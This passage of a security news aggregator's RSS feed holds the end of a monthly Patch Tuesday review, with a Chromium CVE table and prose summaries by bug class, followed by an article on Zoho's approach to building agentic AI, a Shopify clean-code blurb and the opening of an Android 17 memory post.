  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI drove Shopify back to clean code]]></title>
<description><![CDATA[Turns out, agents just want the same things as humans: easily-readable code, explicit contracts, and helpful feedback]]></description>
<link>https://tsecurity.de/de/3693933/it-nachrichten/how-ai-drove-shopify-back-to-clean-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693933/it-nachrichten/how-ai-drove-shopify-back-to-clean-code/</guid>
<pubDate>Sat, 25 Jul 2026 15:12:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Turns out, agents just want the same things as humans: easily-readable code, explicit contracts, and helpful feedback]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
